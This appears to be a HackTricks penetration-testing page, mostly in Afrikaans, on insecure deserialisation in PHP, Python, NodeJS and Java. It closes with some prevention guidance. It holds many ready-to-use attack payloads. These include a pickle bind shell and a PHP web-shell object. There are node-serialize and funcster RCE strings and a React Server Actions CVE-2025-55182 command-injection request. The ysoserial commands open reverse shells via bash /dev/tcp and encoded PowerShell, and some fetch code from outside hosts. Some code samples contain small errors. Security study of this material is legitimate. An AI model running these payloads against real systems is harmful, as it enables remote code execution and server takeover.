Deserialisering

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Serialisering verwys na die metode om ’n objek om te skakel in ’n formaat wat bewaar kan word, met die doel om die objek te stoor of te stuur as deel van ’n kommunikasieproses. Hierdie tegniek word gewoonlik gebruik om te verseker dat die objek later hergestel kan word, met sy struktuur en toestand behoue.

Deserialisering, daarenteen, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in ’n spesifieke formaat gestruktureer is en dit terug te herbou in ’n objek.

Deserialisering kan gevaarlik wees omdat dit moontlik aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer of onverwags gedrag in die toepassing te veroorsaak tydens die objek-herbouproses.

PHP

In PHP word spesifieke magic methods gebruik tydens die serialisering- en deserialiseringprosesse:

  • __sleep: Aangeroep wanneer ’n objek geserialiseer word. Hierdie metode moet ’n array teruggee van die name van al die eienskappe van die objek wat geserialiseer moet word. Dit word gewoonlik gebruik om hangende data te skryf of soortgelyke opruimtake uit te voer.
  • __wakeup: Aangeroep wanneer ’n objek gedeserialiseer word. Dit word gebruik om enige databasisverbindings wat tydens serialisering verloor is, te herinstel en ander herinitialiseringstake uit te voer.
  • __unserialize: Hierdie metode word aangeroep in plaas van __wakeup (indien dit bestaan) wanneer ’n objek gedeserialiseer word. Dit gee meer beheer oor die deserialiseringsproses in vergelyking met __wakeup.
  • __destruct: Hierdie metode word aangeroep wanneer ’n objek op die punt staan om vernietig te word of wanneer die script eindig. Dit word tipies gebruik vir opruimtake, soos die sluit van lĂȘerhandvatsels of databasisverbindings.
  • __toString: Hierdie metode laat ’n objek toe om as ’n string behandel te word. Dit kan gebruik word vir die lees van ’n lĂȘer of ander take gebaseer op die funksie-oproepe binne dit, wat effektief ’n tekstuele voorstelling van die objek verskaf.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

As jy na die resultate kyk, kan jy sien dat die funksies __wakeup en __destruct aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat in verskeie tutorials jy sal vind dat die __toString funksie aangeroep word wanneer probeer word om ’n attribuut te druk, maar blykbaar gebeur dit nie meer nie.

Warning

Die metode __unserialize(array $data) word aangeroep in plaas van __wakeup() as dit in die klas geïmplementeer is. Dit laat jou toe om die objek te unserialize deur die geserialiseerde data as ’n array te verskaf. Jy kan hierdie metode gebruik om properties te unserialize en enige nodige take by deserialisering uit te voer.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Jy kan ’n uitgewerkte PHP-voorbeeld hier lees: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf of hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

PHP - Deserialization + Autoload Classes

Serialisering van Verwysde Waardes

As jy om een of ander rede ’n waarde as ’n verwysing na ’n ander geserialiseerde waarde wil serialiseer, kan jy:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Voorkoming van PHP Object Injection met allowed_classes

[!INFO] Ondersteuning vir die tweede argument van unserialize() (die $options array) is bygevoeg in PHP 7.0. Op ouer weergawes aanvaar die funksie slegs die geserialiseerde string, wat dit onmoontlik maak om te beperk watter klasse geĂŻnstantieer kan word.

unserialize() sal elke klas wat dit binne die geserialiseerde stroom vind, instansieer tensy anders gespesifiseer. Sedert PHP 7 kan die gedrag beperk word met die allowed_classes opsie:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

As allowed_classes is omitted or the code runs on PHP < 7.0, word die oproep gevaarlik aangesien ’n aanvaller ’n payload kan opstel wat magic methods soos __wakeup() of __destruct() misbruik om Remote Code Execution (RCE) te bereik.

Werklike voorbeeld: Everest Forms (WordPress) CVE-2025-52709

Die WordPress-plugin Everest Forms ≀ 3.2.2 het probeer verdedigend op te tree met ’n helper wrapper, maar het die ouer PHP-weergawes vergeet:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≄ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Op bedieners wat nog steeds PHP ≀ 7.0 gebruik het, het hierdie tweede tak gelei tot ’n klassieke PHP Object Injection toe ’n administrateur ’n kwaadwillige vorminskrywing oopgemaak het. ’n minimale exploit payload kan so lyk:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Sodra die admin die inskrywing bekyk het, is die objek geĂŻnstantieer en SomeClass::__destruct() is uitgevoer, wat gelei het tot willekeurige kode-uitvoering.

Belangrike punte

  1. Gee altyd ['allowed_classes' => false] (of ’n streng witlys) wanneer jy unserialize() aanroep.
  2. Oudit verdedigende wrappers – hulle vergeet dikwels die legacy PHP-takke.
  3. Opgradeer na PHP ≄ 7.x op sigself is nie voldoende nie: die opsie moet steeds eksplisiet voorsien word.

PHPGGC (ysoserial for PHP)

PHPGGC kan jou help om payloads te genereer om PHP deserializations te misbruik.
Neem kennis dat jy in verskeie gevalle nie ’n manier sal vind om ’n deserialization in die bronkode van die toepassing te misbruik nie, maar jy mag wel die kode van eksterne PHP extensions misbruik.
Kontroleer dus, indien moontlik, die phpinfo() van die bediener en soek op die internet (en selfs na die gadgets van PHPGGC) vir moontlike gadgets wat jy kan misbruik.

phar:// metadata deserialization

As jy ’n LFI gevind het wat net die lĂȘer lees en nie die php-kode daarin uitvoer nie, byvoorbeeld deur funksies soos file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()** te gebruik.** Jy kan probeer om ’n deserialization te misbruik wat plaasvind wanneer ’n lĂȘer gelees word met die phar-protokol.
Vir meer inligting lees die volgende pos:

phar:// deserialization

Python

Pickle

Wanneer die objek ge-unpickle word, sal die funksie ___reduce___ uitgevoer word.
Wanneer dit misbruik word, kan die bediener ’n fout teruggee.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Voordat jy die bypass technique nagaan, probeer gebruik print(base64.b64encode(pickle.dumps(P(),2))) om ’n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.

Vir meer inligting oor escaping van pickle jails kyk:

Bypass Python sandboxes

Yaml & jsonpickle

Die volgende bladsy beskryf die tegniek om ‘n unsafe deserialization in yamls’ python libraries te abuse en eindig met ’n tool wat gebruik kan word om RCE deserialization payloads te genereer vir Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS het nie “magic” functions soos PHP of Python wat uitgevoer word net by die skepping van ’n objek nie. Maar dit het sommige functions wat gereeld gebruik word selfs sonder om hulle direk aan te roep soos toString, valueOf, toJSON.
As jy ’n deserialization misbruik kan jy hierdie functions kompromitteer om ander kode uit te voer (potensieel deur prototype pollutions te misbruik) en arbitrĂȘre kode uitvoer wanneer hulle aangeroep word.

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

As jy meer oor hierdie tegniek wil leer, kyk gerus na die volgende tutorial:

NodeJS - proto & prototype Pollution

node-serialize

Hierdie biblioteek laat toe om funksies te serialiseer. Voorbeeld:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Die geserialiseerde objek sal soos volg lyk:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Jy kan in die voorbeeld sien dat wanneer ’n funksie geserialiseer word die _$$ND_FUNC$$_ vlag by die geserialiseerde objek aangeheg word.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

Soos jy in die laaste stukkie kode kan sien, as die vlag gevind word word eval gebruik om die funksie te deserialiseer, so basies word gebruikersinvoer binne die eval-funksie gebruik.

Echter, net deur ’n funksie te serialiseer sal dit nie uitgevoer word nie, aangesien dit nodig sou wees dat ’n deel van die kode die y.rce in ons voorbeeld aanroep, en dit is hoogs onwaarskynlik.
Nietemin kan jy net die geserialiseerde objek wysig deur ’n paar hakies by te voeg sodat die geserialiseerde funksie outomaties uitgevoer word wanneer die objek gedeserialiseer word.
In die volgende stukkie kode let op die laaste hakie en hoe die unserialize funksie die kode outomaties sal uitvoer:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Soos vroeĂ«r aangedui, sal hierdie biblioteek die kode nĂĄ _$$ND_FUNC$$_ haal en dit met eval uitvoer. Daarom, om auto-execute code, kan jy die gedeelte wat die funksie skep en die laaste hakie verwyder en net ’n JS oneliner uitvoer soos in die volgende voorbeeld:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Jy kan find here meer inligting vind oor hoe om hierdie kwetsbaarheid te exploit.

funcster

’n Noemenswaardige aspek van funcster is die ontoeganklikheid van standaard ingeboude objekte; hulle val buite die toeganklike omvang. Hierdie beperking verhoed die uitvoering van code wat probeer om metodes op ingeboude objekte aan te roep, en lei tot uitsonderings soos “ReferenceError: console is not defined” wanneer opdragte soos console.log() of require(something) gebruik word.

Ten spyte van hierdie beperking is die herstel van volle toegang tot die globale konteks, insluitend alle standaard ingeboude objekte, moontlik deur ’n spesifieke benadering. Deur die globale konteks direk te benut, kan hierdie beperking omseil word. Byvoorbeeld, toegang kan herstel word met die volgende kodefragment:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Vir meer inligting lees hierdie bron.

serialize-javascript

Die serialize-javascript package is uitsluitlik ontwerp vir serialization-doeleindes en het geen ingeboude deserialization-vermoĂ«ns nie. Gebruikers is verantwoordelik om hul eie metode vir deserialization te implementeer. In die amptelike voorbeeld word ’n direkte gebruik van eval voorgestel om serialized data te deserialiseer:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

As hierdie funksie gebruik word om objects te deserialize, kan jy dit easily exploit:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Vir meer inligting lees hierdie bron.

Cryo-biblioteek

In die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te misbruik om arbitrĂȘre opdragte uit te voer:

React Server Components / react-server-dom-webpack Server Actions Misbruik (CVE-2025-55182)

React Server Components (RSC) vertrou op react-server-dom-webpack (RSDW) om server action submissions wat as multipart/form-data gestuur word te decodeer. Elke aksie-indiening bevat:

  • $ACTION_REF_<n> parts wat na die aksie wat aangeroep word verwys.
  • $ACTION_<n>:<m> parts met ’n liggaam wat JSON is, byvoorbeeld {"id":"module-path#export","bound":[arg0,arg1,...]}.

In weergawe 19.2.0 vertrou die decodeAction(formData, serverManifest) helper blindelings beide die id string (wat kies watter module-export opgeroep word) en die bound array (die argumente). As ’n aanvaller toegang tot die eindpunt kry wat versoeke na decodeAction deurstuur, kan hulle enige uitgevoerde server action met aanvallersbeheerde parameters aanroep selfs sonder ’n React front-end (CVE-2025-55182). Die end-tot-end resep is:

  1. Leer die action identifier. Bundle-uitset, foutspore of leaked manifests openbaar tipies stringe soos app/server-actions#generateReport.
  2. Herskep die multipart payload. Skep ’n $ACTION_REF_0 part en ’n $ACTION_0:0 JSON-liggaam wat die identifier en arbitrĂȘre argumente dra.
  3. Laat decodeAction dit dispatch. Die helper los die module uit serverManifest op, importeer die export, en gee ’n oproepbare terug wat die server dadelik uitvoer.

Example payload hitting /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Of met curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Die bound array vul direk die server-action parameters. In die kwesbare lab lyk die gadget soos:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

’n Aanvaller het nooit ’n regte React client nodig nie—enige HTTP-instrument wat die $ACTION_* multipart-vorm uitstuur, kan direk server actions aanroep en die resulterende JSON-uitset in ’n RCE primitive ketting.

Java - HTTP

In Java, deserialization callbacks are executed during the process of deserialization. Hierdie uitvoering kan uitgebuit word deur aanvallers wat kwaadwillige payloads saamstel wat hierdie callbacks aktiveer, wat kan lei tot die moontlike uitvoering van skadelike aksies.

Fingerprints

White Box

Om potensiële serialization vulnerabilities in die codebasis te identifiseer, soek na:

  • Klasse wat die Serializable interface implementeer.
  • Gebruik van java.io.ObjectInputStream, readObject, readUnshare funksies.

Gee ekstra aandag aan:

  • XMLDecoder wat gebruik word met parameters wat deur eksterne gebruikers gedefinieer word.
  • XStream se fromXML metode, veral as die XStream-weergawe kleiner of gelyk is aan 1.46, aangesien dit vatbaar is vir serialization issues.
  • ObjectInputStream gekoppel aan die readObject metode.
  • Implementasie van metodes soos readObject, readObjectNodData, readResolve, of readExternal.
  • ObjectInputStream.readUnshared.
  • Algemene gebruik van Serializable.

Black Box

Vir black box-toetsing, kyk vir spesifieke signatures or “Magic Bytes” wat java serialized objects aandui (wat van ObjectInputStream afkomstig is):

  • Hexadecimal pattern: AC ED 00 05.
  • Base64 pattern: rO0.
  • HTTP response headers met Content-type gestel op application/x-java-serialized-object.
  • Hexadecimal pattern indicating prior compression: 1F 8B 08 00.
  • Base64 pattern indicating prior compression: H4sIA.
  • Web files with the .faces extension and the faces.ViewState parameter. Die ontdekking van hierdie patrone in ’n webtoepassing moet ’n ondersoek uitlok soos gedetailleer in die post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Kontroleer of dit kwesbaar is

As jy wil leer hoe ’n Java Deserialized exploit werk moet jy kyk na Basic Java Deserialization, Java DNS Deserialization, en CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

Moderne kodebasisse pak soms deserialisering in met java.security.SignedObject en valideer ’n signature voordat hulle getObject() aanroep (wat die innerlike object deserialiseer). Dit voorkom arbitraire top-level gadget classes, maar kan steeds uitgebuit word as ’n aanvaller ’n geldige signature kan bekom (bv. private-key compromise of ’n signing oracle). Boonop kan foutbehandelingsvloei sessie-gebonde tokens vir ongeverifieerde gebruikers skep, en sodoende andersins beskermde sinks pre-auth openbaarmaak.

Vir ’n konkrete gevallestudie met requests, IoCs, en verhardingsriglyne, sien:

Java Signedobject Gated Deserialization

White Box Test

Jy kan nagaan of enige toepassing met bekende kwesbaarhede geĂŻnstalleer is.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to kontroleer al die biblioteke wat bekend is as kwesbaar en waarvoor Ysoserial kan voorsien ’n exploit. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don’t care about the tons of warnings/errors that it’s going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won’t create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify watter biblioteke beskikbaar is (en selfs die weergawes). Met hierdie inligting kan dit makkelijker wees om ’n payload te kies om die kwetsbaarheid uit te buiten.
Read this to learn more about GadgetProbe.
GadgetProbe is gefokus op ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Soms kan jy in staat wees om die data binne die serialized object te verander en sekere kontrole te omseil (miskien gee dit jou admin-privilege binne ’n webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Om te weet watter data jy stuur maak dit makliker om dit te wysig en sekere kontrole te omseil.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wanneer jy ’n payload vir java.lang.Runtime.exec() skep, kan jy nie spesiale karakters soos “>” of “|” gebruik om die uitvoer van ’n uitvoering te herlei, “$()” om commands uit te voer, of selfs argumente aan ’n command geskei deur spasies te gee (jy kan echo -n "hello world" doen, maar jy kan nie python2 -c 'print "Hello world"' doen nie). Om die payload korrek te enkodeer kan jy use this webpage.

Voel vry om die volgende script te gebruik om all the possible code execution payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Jy kan gebruik https://github.com/pwntester/SerialKillerBypassGadgetCollection saam met ysoserial gebruik om meer exploits te skep. Meer inligting oor hierdie tool in die skyfies van die praatjie waar die tool aangebied is: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kan gebruik word om payloads te genereer om verskillende Json en Yml serialisasie biblioteke in Java te eksploiteer.
Om die projek te compileer moes ek hierdie afhanklikhede by pom.xml byvoeg:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installeer maven, en kompileer die projek:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lees meer oor hierdie Java JSON library: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labore

Waarom

Java gebruik baie serialization vir verskeie doeleindes soos:

  • HTTP requests: Serialization word wyd gebruik in die hantering van parameters, ViewState, cookies, ens.
  • RMI (Remote Method Invocation): Die Java RMI-protokol, wat heeltemal op serialization steun, is ’n hoeksteen vir afstandskommunikasie in Java-toepassings.
  • RMI over HTTP: Hierdie metode word algemeen gebruik deur Java-gebaseerde thick client web applications, wat serialization gebruik vir alle objekkommunikasie.
  • JMX (Java Management Extensions): JMX gebruik serialization om objekte oor die netwerk te stuur.
  • Custom Protocols: In Java is die standaardpraktyk die oordrag van rou Java-objekte, wat in komende exploit-voorbeelde gedemonstreer sal word.

Prevention

Transient objects

A class that implements Serializable can implement as transient any object inside the class that shouldn’t be serializable. For example:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Voorkom serialisering van ’n klas wat die Serializable moet implementeer

In scenario’s waar sekere objects must implement the Serializable interface weens die class hierarchy, is daar ’n risiko van onbedoelde deserialization. Om dit te voorkom, maak seker dat hierdie objects non-deserializable is deur ’n final readObject() metode te definieer wat konsekwent ’n exception gooi, soos hieronder getoon:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbetering van deserialiseringsekuriteit in Java

Om java.io.ObjectInputStream aan te pas is ’n praktiese benadering om deserialiseringsprosesse te beveilig. Hierdie metode is geskik wanneer:

  • Die deserialiseringskode is onder jou beheer.
  • Die klasse wat vir deserialisering verwag word, is bekend.

Oorskryf die resolveClass() metode om deserialisering slegs tot toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat uitdruklik toegelaat is, soos in die volgende voorbeeld wat deserialisering slegs tot die Bicycle klas beperk:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Gebruik van ’n Java Agent vir sekuriteitsverbetering bied ’n alternatiewe oplossing wanneer kodewysiging nie moontlik is nie. Hierdie metode is hoofsaaklik van toepassing op blacklisting harmful classes, deur ’n JVM parameter te gebruik:

-javaagent:name-of-agent.jar

